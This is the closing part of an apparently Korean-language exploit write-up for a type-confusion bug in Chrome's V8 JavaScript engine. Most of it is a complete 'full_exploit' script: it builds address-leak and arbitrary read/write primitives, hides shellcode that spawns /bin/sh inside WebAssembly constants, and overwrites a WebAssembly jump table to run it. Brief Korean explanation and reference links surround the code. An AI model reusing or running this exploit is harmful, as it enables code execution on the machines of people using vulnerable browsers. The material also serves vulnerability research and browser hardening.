var buf_2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 144, 144, 144, 144, 144, 144, 144, 204, 68, 144, 144, 144, 144, 144, 144, 144, 204, 26, 11])
var module_2 = new WebAssembly.Module(buf_2);
var instance_2 = new WebAssembly.Instance(module_2);
var instance_2_addr = addr_of(instance_2);
var f_2 = instance_2.exports.main;
f_2();
이 상태에서 buf
에 들어있는 shellcode
시작점을 구해줍니다.
instance + 0x50 = jump_table_start
jump_table_start + 0x71d = shellcode_start
그리고 f_2()
함수의 jump_table_start를 shellcode_start
로 덮어 씌워주면 실행이 가능합니다.
var buf = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 73, 1, 71, 0, 68, 184, 47, 115, 104, 0, 144, 235, 7, 68, 72, 193, 224, 32, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 72, 1, 216, 80, 144, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 72, 49, 210, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 144, 144, 26, 26, 26, 26, 26, 26, 11]); // ubuntu /bin/shell
var module = new WebAssembly.Module(buf);
var instance = new WebAssembly.Instance(module);
var instance_addr = addr_of(instance);
var f = instance.exports.main;
for (var i = 0; i < 0x10000; ++i) {
f();
}
var buf_2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 144, 144, 144, 144, 144, 144, 144, 204, 68, 144, 144, 144, 144, 144, 144, 144, 204, 26, 11])
var module_2 = new WebAssembly.Module(buf_2);
var instance_2 = new WebAssembly.Instance(module_2);
var instance_2_addr = addr_of(instance_2);
var jump_table_start = aar(instance_addr + 0x50);
var target = itoi64(jump_table_start[0],jump_table_start[1]) + 0x71dn;
var f_2 = instance_2.exports.main;
aaw64(instance_2_addr + 0x50, target);
f_2();
full_exploit
// @rotiple
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
function gc_major() { //mark-sweep
new ArrayBuffer(0x7fe00000);
}
function hex(n) {
return "0x" + n.toString(16);
}
function hex_addr(addr) {
return "0x" + addr[1].toString(16) + addr[0].toString(16);
}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var b64_buf = new BigInt64Array(buf);
var u32_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return [u32_buf[0], u32_buf[1]];
}
function itof(lo, hi) {
u32_buf[0] = lo;
u32_buf[1] = hi;
return f64_buf[0];
}
function itof64(val) {
b64_buf[0] = val;
return f64_buf[0];
}
function itoi64(lo, hi) {
u32_buf[0] = lo;
u32_buf[1] = hi;
return b64_buf[0];
}
function smi(val) {
return val << 1;
}
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0, 0)); // change array type to HOLEY_DOUBLE_ELEMENTS_MAP
const FIXED_ARRAY_HEADER_SIZE = 8;
//test/mjsunit/regress/regress-crbug-1472121.js
function trigger() {
let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;
function throwaway() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) throwaway(); // IC
for (let key in a) a[key] = {};
function func() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) corrupted = func(); // IC
corrupted.p9 = [1.1];
corrupted[1] = 0x100; // overwrite the length of corrupted.p9
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let arr3 = [arr1];
return [corrupted.p9, arr1, arr2, arr3];
}
function addr_of(obj) {
addr_obj[0] = obj;
return ftoi(oob_obj[26])[1];
}
function aar(addr) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
oob_obj[7] = itof(addr, smi(1));
let result = ftoi(fake_obj[0]);
return result;
}
function aaw(addr, lo, hi) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
oob_obj[7] = itof(addr, smi(1));
fake_obj[0] = itof(lo, hi);
}
function aaw64(addr, val) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
oob_obj[7] = itof(addr, smi(1));
fake_obj[0] = itof64(val);
}
leak = trigger();
oob_obj = leak[0];
fake_obj = leak[1];
addr_obj = leak[3];
var buf = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 73, 1, 71, 0, 68, 184, 47, 115, 104, 0, 144, 235, 7, 68, 72, 193, 224, 32, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 72, 1, 216, 80, 144, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 72, 49, 210, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 144, 144, 26, 26, 26, 26, 26, 26, 11]); // ubuntu /bin/shell
var module = new WebAssembly.Module(buf);
var instance = new WebAssembly.Instance(module);
var instance_addr = addr_of(instance);
var f = instance.exports.main;
for (var i = 0; i < 0x10000; ++i) {
f();
}
var buf_2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 144, 144, 144, 144, 144, 144, 144, 204, 68, 144, 144, 144, 144, 144, 144, 144, 204, 26, 11])
var module_2 = new WebAssembly.Module(buf_2);
var instance_2 = new WebAssembly.Instance(module_2);
var instance_2_addr = addr_of(instance_2);
var jump_table_start = aar(instance_addr + 0x50);
var target = itoi64(jump_table_start[0],jump_table_start[1]) + 0x71dn;
var f_2 = instance_2.exports.main;
aaw64(instance_2_addr + 0x50, target);
f_2();
Reference
https://docs.google.com/document/d/1oR-tSBKbgWzFl4v9RrXwYIdcvgf-Up5P4OFf8ftP7zg/edit
https://chromium-review.googlesource.com/c/v8/v8/+/4773154
https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157